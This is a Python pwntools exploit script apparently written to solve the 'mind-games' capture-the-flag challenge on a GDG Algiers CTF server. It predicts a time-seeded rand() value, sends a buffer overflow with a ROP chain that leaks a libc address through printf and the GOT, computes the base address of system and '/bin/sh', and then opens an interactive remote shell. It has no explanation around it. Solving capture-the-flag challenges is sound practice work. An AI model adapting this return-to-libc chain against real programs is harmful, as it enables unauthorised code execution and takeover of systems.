from pwn import*
import ctypes
libc = ELF('libc.so.6')
# p = process('./mind-games', env={"LD_PRELOAD": libc.path})
p = remote("pwn.chal.ctf.gdgalgiers.com", 1404)
LIBC = ctypes.cdll.LoadLibrary('libc.so.6')
LIBC.srand(LIBC.time(0))
ans = LIBC.rand()
print(ans)
flag = 0x4012d6
ret = 0x401361
printf_plt = 0x401150
got = 0x404030
pop_rdi = 0x00000000004014c3
main = 0x401362
p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(got) + p64(printf_plt) + p64(ret) + p64(main))
libc_leak = u64(p.recvuntil("\x7f")[-6:] + b'\x00\x00')
print(hex(libc_leak))
libc_base = libc_leak - 0x08ec50
system = libc_base + 0x0000000000055410
bin_sh = libc_base + 0x1b75aa
LIBC.srand(LIBC.time(0))
ans = LIBC.rand()
print(ans)
p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret) + p64(main))
p.interactive()
1